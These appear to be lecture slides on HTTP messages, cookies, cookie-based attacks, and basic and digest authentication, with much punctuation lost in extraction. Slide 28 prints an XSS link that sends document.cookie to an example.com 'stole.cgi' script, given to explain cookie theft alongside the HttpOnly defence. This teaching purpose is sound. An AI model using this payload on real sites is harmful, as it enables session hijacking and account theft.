Cookies

1
Cookies Friends
2
The HTTP message format

• Two types request, response
• HTTP request message
• ASCII

Request Command line (GET, POST, HEAD)
GET /somedir/page.html HTTP/1.1 Host
www.someschool.edu User-agent
Mozilla/4.0 Connection close Accept-languagefr
(extra carriage return, line feed)
headers
CRLF tells end of message
3
General format
4
Data transmission client?server

• POST Method
• Necessary if data exceeds URL length
• Data is encoded in message body

• Encode data in URLs
• Use the GET command
• Data is encoded within URL

www.somesite.com/animalsearch?monkeysbanana
5
HTTP Commands

• HTTP/1.0
• GET
• POST
• HEAD
• Ask only for information about a resource

• HTTP/1.1
• GET, POST, HEAD
• PUT
• File upload
• DELETE
• File deletion

6
Response Message
Status line (error code and sentence)
HTTP/1.1 200 OK Connection close Date Thu, 06
Aug 1998 120015 GMT Server Apache/1.3.0
(Unix) Last-Modified Mon, 22 Jun 1998 ...
Content-Length 6821 Content-Type text/html
data data data data data ...
Headers
Data, e.g. a HTML document
7
Error codes
They stay in the first line of the response Some
codes

• 200 OK
• request OK, object content follows
• 301 Moved Permanently
• The requested object has been moved, find its new
  position in the Location header
• 400 Bad Request
• What the hell are you saying?
• 404 Not Found
• There is no object with such an URL
• 505 HTTP Version Not Supported

8
User-server state cookies

• Many major Web sites use cookies
• Four components
• 1) Set-Cookie header line of HTTP response
  message
• 2) Cookie header line in HTTP request message
• 3) Cookie file kept on users host, managed by
  users browser
• 4) Possible back-end database at Web site

• Example
• Susan always accesses Internet from PC
• She visits a specific e-commerce site for first
  time
• When initial HTTP requests arrives at site, site
  creates
• unique ID
• entry in backend database for ID

9
Cookies keeping state
client
server
Amazon server creates ID 1678 for user
cookie- specific action
one week later
cookie- spectific action
10
Cookies (continued)
N.B.

• Cookies privacy
• cookies permit sites to learn a lot about you
• the search engines use redirection and cookies
  for many purposes
• cookies can be exchanged from one site to another

• What cookies can help for
• authorization
• shopping carts
• recommendations
• user session state (e.g. Web e-mail)

11
Uses Session management

• Used to maintain data related to the user during
  navigation, possibly across multiple visits
•  Cookies were introduced to provide a way to
  implement a "shopping cart" (or "shopping
  basket"), a virtual device into which users can
  store items they want to purchase as they
  navigate throughout the site
• Today the basket contents are stored in a
  database on the server side, rather than storing
  basket items in the cookie itself. A web server
  typically sends a cookie containing a unique
  session identifier. The web browser will send
  back that session identifier with each subsequent
  request and shopping basket items are stored
  associated with a unique session identifier
• Used to allow users to log into a website
• Before authentication, the web server will first
  set a cookie containing a unique session
  identifier
• Users then submit their credentials and the web
  application authenticates the session and allows
  the user access to services

12
Uses Personalization

• Cookies may be used to remember the information
  about the user who has visited a website in order
  to show relevant content in the future
• A web server may send a cookie containing the
  username last used to log into a website so that
  it may be filled in for future visits
• Many websites use cookies for personalization base
  d on users' preferences.
• Users select their preferences by entering them
  in a web form and submitting the form to the
  server.
• The server encodes the preferences in a cookie
  and sends the cookie back to the browser.
• Every time the user accesses a page, the server
  is also sent the cookie where the preferences are
  stored, and can personalize the page according to
  the user preferences.
• Wikipedia website allows authenticated users to
  choose the webpage skin they like best
  the Google search engine once allowed users (even
  non-registered ones) to decide how many search
  results per page they want to see

13
Uses Tracking

• Tracking cookies may be used to track internet
  users' web browsing
• If the user requests a page of a given site, but
  the request contains no cookie, the server
  presumes that this is the first page visited by
  the user the server creates a random string and
  sends it as a cookie back to the browser together
  with the requested page
• From this point on, the cookie will automatically
  be sent by the browser to the server every time a
  new page from the site is requested the server
  sends the page as usual, but also stores the URL
  of the requested page, the date/time of the
  request, and the cookie in a log file.
• By analyzing the log file collected in the
  process, it is then possible to find out which
  pages the user has visited, in what sequence, for
  how long, no matter of his IP number.
• Tracking on a site used to produce statistics
• Tracking on multiple sites is used to produce
  anonymous user profiles
• Useful for determining what kind of
  advertisements should be shown to users
• A tracking cookie may violate a user's privacy
• Can be removed, many web browsers offer
  functionality in this sense

14
Third-party cookies

• While rendering the page, the browser downloads
  all these objects. Most modern websites that you
  view contain information from lots of different
  sources. While this information is being
  retrieved, some of these sources may set cookies
  in your browser
• First-party cookies are cookies set with the same
  domain (or its subdomain) as your browser's
  address bar.
• Third-party cookies are cookies set with domains
  different from the one shown on the address bar.
• Mozilla Firefox, Internet Explorer, Opera and Goog
  le Chrome do allow third-party cookies by
  default, although users can block them
• Third-Party cookies allow to build
  constellations of web sites and allow to track
  and build user histories across all the web

15
Implementation(1)

• In the cookie one can find several attributes
• Name/Value This is the only obligatory attribute
• Domain Used to specify the source domain of the
  cookie
• Expires is optional, used to define the
  expiration date of the cookie 
• Can be expressed as a date, as the maximum number
  of days or with 'Now' (implies that the cookie is
  deleted from your computer as soon as your
  browser is closed) or 'Never' (implies that the
  cookie is not subject to deadline)
• Path specifies the URL path from which the cookie
  is sent to the end user
• Access mode (HttpOnly) makes the cookies
  invisible to JavaScript and other client-side
  languages ??on the page
• Secure indicates whether the cookie should be
  obligatorily transmitted with HTTPS

16
Implementation(2)

• The cookie setter can specify a deletion date
• If the cookie setter does not specify a date, the
  cookie is removed once the user quits his or her
  browser.
• Specifying a date is a way for making a cookie
  survive across sessions
• cookies with an expiration date are called
  persistent.
• A shopping site can use persistent cookies to
  store the items users have placed in their basket
• a cookie can refer an entry in a database stored
  on the site e-shopping
• if users quit their browser without making a
  purchase and returns later, they later still find
  the same items in the basket
• If these cookies were not given an expiration
  date, they would expire when the browser is
  closed
• the information about the basket content would be
  lost
• Cookies can also be limited in scope to a
  specific domain, subdomain or path on the web
  server which created them

17
Setting a cookie (1)

• Browsers request a page from web servers by
  sending them a usually short text called HTTP
  request.
• to access the page http//www.example.org/index.ht
  ml, browsers connect to the server
  www.example.org sending it a request that looks
  like the following one

GET /index.html HTTP/1.1Host www.example.org
browser ? server

• The server replies by sending the requested page
  preceded by a similar packet of text,
  called 'HTTP response'. This packet may contain
  lines requesting the browser to store cookies

HTTP/1.1 200 OKContent-type text/htmlSet-Cookie
namevalue (content of page)
browser ? server
18
Setting a cookie (2)

• The server sends lines of Set-Cookie only if the
  server wishes the browser to store cookies. 
• Set-Cookie is a directive for the browser to
  store the cookie
• Send it back in future requests to the if the
  browser supports cookies and cookies are enabled.
  
• For example, the browser requests the page
  http//www.example.org/spec.html by sending the
  server www.example.org a request like the
  following

GET /spec.html HTTP/1.1Host www.example.orgCook
ie namevalueAccept /
browser ? server

• This is a request for another page from the same
  server, and differs from the first one above
  because it contains the string that the server
  has previously sent to the browser. This way, the
  server knows that this request is related to the
  previous one
• The server answers by sending the requested page,
  possibly adding other cookies as well
• The value of a cookie can be modified by the
  server by sending a new Set-Cookie
  namenewvalue line in response of a page request.
  The browser then replaces the old value with the
  new one

19
Cookie attributes (1)

• Set-CookieNameValue EXPIRESDate PATHPath
  DOMAINDomain_Name SECURE
• NameValue
• is the only specification that is not optional,
  allows you to assign a name to the value to be
  stored in the client
• EXPIRESDate
• Used to specify a date that defines the lifetime
  of the cookie. After this date, the cookie is
  automatically removed.
• If not specified, the cookie is destroyed at the
  end of the user session when the browser is
  closed.
• DOMAINDomain_Name Server
• Used to identify the domain of the cookie. Only
  hosts within the specified domain can set the
  cookie.
• If the domain is not specified explicitly, is
  considered valid the server that generated the
  HTTP response.

20
Cookie attributes (2)

• Set-CookieNameValue EXPIRESDate PATHPath
  DOMAINDomain_Name SECURE
• PATHPath.
• Used to specify the subset of the URL in the
  domain for which the cookie is valid. At the time
  of satisfying an HTTP request, if the cookie has
  already passed the check on the domain, then the
  pathname of the URL that is making the request is
  compared with this value. In case of equality the
  cookie is considered valid and is sent.
• Without specific path is assumed to be the same
  as described in the header of the document that
  contains the cookie
• SECURE
• If this clause is added, then the cookie will be
  sent only if the communications channel with the
  host is secure (ie using some technique of secure
  transmission, for example, the https protocol)

The cookies are identified by a combination of
name, domain, and path, in contrast to what
provided in the original specification of Netscape
21
Expiration

• Cookies are not sent to the server in the case
• End user session (closing the browser) if the
  cookie is not persistent
• Has been reached expiration date
• The expiration date has been reset (by the server
  or by a script) to an earlier date, already
  passed
• A server or a script explicitly decide to delete
  it
• The browser destroys the cookie in response to a
  user request

22
Misconceptions about Cookies..

• are same as worms and viruses
• they can generate pop ups
• They are used for spamming
• They can only be used for advertising
• They can erase data from the user's hard disks
• They can read personal information stored on the
  user's computer
• Controversial EU directive 2009/136/CE, IT Law
  69-70/2012 seems requiring that web sites MUST
  ask permission for storing cookies.

23
Browser settings

• Most browsers allow
• to enable or disable cookies completely
• to see the cookies currently stored in the
  browser
• to selectively delete the cookies

24
Privacy and third-party cookies

• third-party cookies also include those from
  unwanted pop-up ads
• Used to track users across different sites
• Building a user profile is potentially dangerous
  to your privacy
• They can be disabled on most browsers

25
Drawbacks (1)

• Inaccurate identification
• If more than one browser is used on a computer,
  each usually has a separate storage area for
  cookies. Hence cookies do not identify a person,
  but a combination of a user account, a computer,
  and a Web browser.
• Thus, anyone has multiple sets of cookies.
• Likewise, cookies do not differentiate between
  multiple users who share the same user account,
  computer, and browser

26
Drawbacks (2)

• Cookie hijacking
• A cookie can be caught from another computer that
  is able to read from the network
• Cookie theft is the act of intercepting cookies
  by unauthorized parties
• Packet sniffing can contain cookies when the
  traffic traveling over unencrypted http sessions
• Can be remedied by using Transport Layer Security
  (https) to encrypt the connection
• Several sites while using https encrypted
  communications for user authentication in the
  later stages, for performance reasons use
  unencrypted connections. Cookies can be
  intercepted and the attacker could impersonate a
  cookie in other sites (cookiemonster attack)
• A server can set the secure flag for a cookie. In
  this case, the browser will only send cookies
  over a secure channel, such as an SSL connection

27
Drawbacks (3)

• Cross-site scripting
• a cookie that should be only exchanged between a
  server and a client is sent elsewhere
• Make sure that both the browser to send cookies
  to malicious server
• Most browsers allow the execution of pieces of
  code on the client machine.
• If cookies are accessible during execution, their
  values ??could be communicated to the malicious
  server, which should not actually have access to
  them.
• Encrypting Cookies do not prevent this type of
  attack
• It is a typical attack to sites that allow a user
  to publish content to html
• Incorporating the html code into post an attacker
  could get cookies from a user
• This attack can be prevented using the HttpOnly
  flag, an option introduced by Microsoft in
  Internet Explorer 6, you need to make the cookie
  inaccessible to client-side script

28
Drawbacks (4)

• Cookie theft
• The value of the cookie can be sent to other
  servers using means other than the header of a
  cookie, for example, scripting languages ??such
  as JavaScript and JScript can access the values
  ??of the cookies and have the ability to send
  arbitrary values ??to the servers on the Internet
  (eg XSS cross-site scripting)
•  an attacker may post a message
  on www.example.com with the following link
• When a user clicks the link, the browser executes
  the code specified in the onclick replacing the
  string document.cookie with the list of active
  user cookies for that page. The list is sent to
  the server example.com and the attacker will be
  able to collect the user's cookies
• The attack is difficult to identify the user side
  because the script comes from the same domain
  that set the cookie
• It is the responsibility of the site
  dell'amministratoire disable the posting of
  malicious code
• Cookies are not directly visible to the
  client-side JavaScript programs as if they were
  sent with the HttpOnly flag (non-standard, not
  supported by all browsers)

lta href"" onclick"window.location'http//examp
le.com/stole.cgi?text'escape(document.cookie)
return false"gtClick here!lt/agt
29
Drawbacks (5)

• Cookie poisoning
• An attacker could modify the values ??of the
  cookies before you send them back to the server
• If a cookie contains the total to pay for items
  of a transaction, the risk is that an attacker
  could change this value and pay less than they
  should
• Many websites fortunately only store a session
  identifier in the cookie itself, while the other
  sensitive data are stored on the server, is what
  puts protected from similar problems
• This attack is often used in combination with one
  cookie theft
• Cross-site cooking
• Enables malicious websites to modify cookies from
  other sites
• Similar to cookie poisoning, but the attacker
  uses normal users who have some vulnerability in
  the browser, instead of directly attacking the
  site
• The goal is often realize session fixation
  (stolen session ID)

30
Drawbacks (6)

• Inconsistent state on client and server
• generate an inconsistency between the state of
  the client and the state as stored in the cookie
• If the user acquires a cookie and then clicks the
  "Back" button of the browser, the state on the
  browser is generally not the same as before that
  acquisition, but for example the content of the
  cart may not change this might not be the
  intention of the user and can lead to confusion
• Cookie expiry
• Persistent cookies
• A persistent cookie captured can be used to
  simulate a user for a considerable period of
  time, in the case of session hijacking

31
Alternatives to cookies

• IP address
• Some users may be tracked based on the IP
  address of the computer requesting the page
• The mechanism is less reliable than that of a
  cookie to identify a user because computers and
  proxies can be shared by multiple users, or as
  they may change from session to session.
• It can work in the case of always-on broadband
  connections that keep the same IP for long
  periods of time
• Some systems, such as Tor, are designed to ensure
  anonymity on the Internet and make this
  impractical.

32
Alternatives to cookies

• URL (query string)
• Embedding information into URLs
• Web server appending query strings to the links
  of a Web page it holds when sending it to a
  browser.
• When the user follows a link, the browser returns
  the attached query string to the server
• a query string is part of a URL, if that URL is
  later reused, the same attached piece of
  information is sent to the server.
• even if the same user accesses the same page two
  times, there is no guarantee that the same query
  string is used in both views.
• Storing data that identifies a session in a query
  string enables or simplifies session
  fixation attacks,referrer logging attacks and
  other security exploits.

33
Alternatives to cookies

• Hidden form fields
• Using web forms with hidden fields
• If the form is handled with the HTTP GET method,
  the fields actually become part of the URL the
  browser will send upon form submission.
• If the form is handled with HTTP POST, which
  causes the form information, including the hidden
  fields, to be appended as extra input that is
  neither part of the URL, nor of a cookie
• the tracking information is in the HTML source
  and POST input rather than in the URL
• the information is not copied when the user
  copies the URL 

34
Alternatives to cookies

• HTTP authentication
• The HTTP protocol includes the basic access
  authentication and the digest access
  authentication protocols, which allow access to a
  Web page only when the user has provided the
  correct username and password.
• If the server requires such credentials for
  granting access to a web page, the browser
  requests them from the user and, once obtained,
  the browser stores and sends them in every
  subsequent page request. This information can be
  used to track the user.

35
Alternatives to cookies

• window.name
• All current web browsers can store a fairly large
  amount of data (2-32 MB) via JavaScript using the
  DOM property window.name
• The technique can be coupled with JSON/JavaScript
  objects to store complex sets of session
  variables on the client side.
• In some respects this can be more secure than
  cookies due to not involving the server, so it is
  not vulnerable to network cookie sniffing
  attacks.
• However if special measures are not taken to
  protect the data, it is vulnerable to other
  attacks because the data is available across
  different web sites opened in the same window or
  tab.

36
Alternatives to cookies

• Adobe Flash Local Shared Objects
• If a browser includes the Adobe Flash Player
  plugin (formerly developed by Macromedia), the
  Local Shared Objects functionality can be used in
  a way very similar to cookies.
• The major drawback with this approach is the same
  as every platform/vendor-specific approach it
  breaks the web's global accessibility and
  interoperability, tying up web development to a
  specific client's platform, excluding users who
  use standards-compliant web user agents and
  instead forcing them to use platform/vendor-specif
  ic web agents, which perpetuates vendor lock-in.
• Client-side persistence
• HTML5 localStorage and sessionStorage variables.

37
Basic access authentication

• In the context of an HTTP transaction, this is a
  method for a web browser or other client program
  to provide a user name and password when making a
  request
• the user name is appended with a colon and
  concatenated with the password. The resulting
  string is encoded with the Base64 algorithm, for
  example
• username Aladdin and password open sesame
• the string Aladdinopen sesame is Base64 encoded
  , resulting in QWxhZGRpbjpvcGVuIHNlc2FtZQ

38
Basic access authentication

• Encoded string is easily decoded
• Security is not the intent of the encoding step
• the intent of the encoding is to encode
  non-HTTP-compatible characters that may be in the
  user name or password into those that are
  HTTP-compatible

39
Advantages

• Is all web browsers support it.
• Rarely it is used on publicly accessible Internet
  web sites but may sometimes be used by small,
  private systems
• Programmers and system administrators sometimes
  use basic access authentication, in a trusted
  network environment, to manually test web servers
  using Telnet or other plain-text network tools

40
Disadvantages

• It relies on the assumption that the connection
  between the client and server computers is secure
  and can be trusted
• if SSL/TLS is not used, then the credentials are
  passed as plaintext
• there is no effective way for a server to "log
  out" the user without closing the browser

41
Example

• The client requests a page that requires
  authentication but does not provide a user name
  and password
• the server responds with the 401 ("Unauthorized")
  response code, including the required
  authentication scheme and the authentication
  realm
• the client will present the authentication realm
  (typically a description of the computer or
  system being accessed) to the user and prompt for
  a user name and password
• once the user has supplied a user name and
  password, the client adds an Authorization header
  (with valuebase64encode(username""password))
  to the original request and re-sends it
• the server accepts the authentication and the
  page is returned if the user name is invalid or
  the password incorrect, the server might return
  the 401 response code

42
Example
Client request (no authentication)
GET /private/index.html HTTP/1.0 Host localhost
Server response
HTTP/1.0 401 Authorization Required Server
HTTPd/1.0 Date Sat, 27 Nov 2004 101815 GMT
WWW-Authenticate Basic realm"Secure Area"
Content-Type text/html Content-Length 311
lt!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01
Transitional//EN" "http//www.w3.org/TR/1999/REC-h
tml401-19991224/loose.dtd"gt ltHTMLgt ltHEADgt
ltTITLEgtErrorlt/TITLEgt ltMETA HTTP-EQUIV"Content-T
ype" CONTENT"text/html charsetISO-8859-1"gt
lt/HEADgt ltBODYgtltH1gt401 Unauthorized.lt/H1gtlt/BODYgt
lt/HTMLgt
43
Example
Client request (user name "Aladdin", password
"open sesame")
GET /private/index.html HTTP/1.0 Host localhost
Authorization Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ

Server response
HTTP/1.0 200 OK Server HTTPd/1.0 Date Sat, 27
Nov 2004 101907 GMT Content-Type text/html
Content-Length 10476
44
Digest access authentication

• Used to negotiate credentials with a user's web
  browser (using HTTP protocol).
• It applies a hash function to a password before
  sending it over the network, which is safer than
  basic access authentication, which sends
  plaintext
• is an application of MD5 cryptographic hashing
  with usage of nonce values to prevent
  cryptanalysis

45
RFC 2069
46
RFC 2617
If the qop (Quality of Protection) directive is
"auth" or unspecified, HA2 is
If the qop directive is "auth-int" , HA2 is
If the qop directive is "auth" or "auth-int" ,
then compute the response as follows
If the qop directive is unspecified, then compute
the response as follows
47
MD5 Digest authentication

• The MD5 calculations used in HTTP digest
  authentication is intended to be "one way"
• It should be difficult to determine the original
  input when only the output is known
• If the password itself is too simple, however,
  then it may be possible to test all possible
  inputs and find a matching output (a brute-force
  attack)

48
Advantages

• HTTP digest authentication is designed to be more
  secure than traditional digest authentication
  schemes
• The password is not used directly in the digest,
  but rather HA1 MD5(usernamerealmpassword).
• This allows some implementations (e.g. JBoss3)
  to store HA1 rather than the cleartext password
• Client nonce was introduced in RFC 2617, which
  allows the client to prevent Chosen-plaintext
  attacks
• Server nonce is allowed to contain timestamps.
• Therefore the server may inspect nonce attributes
  submitted by clients, to prevent replay attacks.
• Server is also allowed to maintain a list of
  recently issued or used server nonce values to
  prevent reuse.

49
Disadvantages

• Digest access authentication
• It replaces unencrypted HTTP basic access
  authentication but It doesnt replace strong
  authentication protocols, such as public-key orKer
  beros authentication.
• Many of the security options in  RFC 2617 are
  optional. If quality-of-protection (qop) is not
  specified by the server, the client will operate
  in a security-reduced legacy mode
• Digest access authentication  is vulnerable to
  a Man-in-the-middle
•  For example, a MitM attacker could tell clients
  to use basic access authentication or legacy
  RFC2069 digest access authentication mode
• Digest access authentication provides no
  mechanism for clients to verify the server's
  identity

50
Example

• The client asks for a page that requires
  authentication but does not provide
  a username and password
• The server responds with the 401 "Unauthorized"
  response code, providing the authentication realm
  and a randomly-generated, single-use value called
  a nonce.
• The client will present the authentication to the
  user and prompt for a username and password
• Once a username and password have been supplied,
  the client re-sends the same request but adds an
  authentication header that includes the response
  code
• The server accepts the authentication and the
  page is returned. If the username is invalid
  and/or the password is incorrect, the server
  might return the "401" response code

51
Example
Client request (no authentication)
GET /dir/index.html HTTP/1.0 Host localhost
Server response
HTTP/1.0 401 Unauthorized Server HTTPd/0.9
Date Sun, 10 Apr 2005 202647 GMT
WWW-Authenticate Digest realm"testrealm_at_host.co
m", qop"auth,auth-int",

nonce"dcd98b7102dd2f0e8b11d0f600bfb0c093
",

opaque"5ccc069c403ebaf9f0171e9517f40e41"
Content-Type text/html Content-Length 311
lt!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01
Transitional//EN" "http//www.w3.org/TR/1999/REC-h
tml401-19991224/loose.dtd"gt ltHTMLgt ltHEADgt
ltTITLEgtErrorlt/TITLEgt ltMETA HTTP-EQUIV"Content-T
ype" CONTENT"text/html charsetISO-8859-1"gt
lt/HEADgt ltBODYgtltH1gt401 Unauthorized.lt/H1gtlt/BODYgt
lt/HTMLgt
52
Example
Client request (user name "Mufasa", password
"Circle Of Life")
GET /dir/index.html HTTP/1.0 Host localhost
Authorization Digest username"Mufasa",
realm"testrealm_at_host.com", nonce"dcd98b7102dd2f0
e8b11d0f600bfb0c093", uri"/dir/index.html",
qopauth, nc00000001, cnonce"0a4f113b",
response"6629fae49393a05397450978507c4ef1",
opaque"5ccc069c403ebaf9f0171e9517f40e41"
Server response
HTTP/1.0 200 OK Server HTTPd/0.9 Date Sun, 10
Apr 2005 202703 GMT Content-Type text/html
Content-Length 7984
53
Example

• The "response" value is calculated in three
  steps
• The MD5 hash of the combined username,
  authentication realm and password is calculated.
  The result is referred to as HA1.
• The MD5 hash of the combined method and
  digest URI is calculated, e.g. of "GET" and "/dir/
  index.html". The result is referred to as HA2.
• The MD5 hash of the combined HA1 result, server
  nonce (nonce), request counter (nc), client nonce
  (cnonce), quality of protection code (qop) and
  HA2 result is calculated. The result is the
  "response" value provided by the client.

HA1 MD5( "Mufasatestrealm_at_host.comCircle Of
Life" ) 939e7578ed9e3c518a452acee763bce
9 HA2 MD5( "GET/dir/index.html" )
39aff3a2bab6126f332b942af96d3366 Response MD5(
"939e7578ed9e3c518a452acee763bce9
\ dcd98b7102dd2f0e8b11d0f600bfb0c09
3\
000000010a4f113bauth\
39aff3a2bab6126f332b942af96d3366" )
6629fae49393a05397450978507c4ef1
54
Example

• At this point the client may make another
  request, reusing the server nonce value but
  providing a new client nonce (cnonce).
• For subsequent requests, the hexadecimal request
  counter (nc) must be greater than the last value
  it used otherwise an attacker could simply
  "replay" an old request with the same credentials
• It is up to the server to ensure that the counter
  increases for each of the nonce values that it
  has issued, rejecting any bad requests
  appropriately.
• The server should remember nonce values that it
  has recently generated. It may also remember when
  each nonce value was issued, expiring them after
  a certain amount of time
• he server does not need to keep any expired nonce
  values, but  it can simply assume that any
  unrecognised values have expired.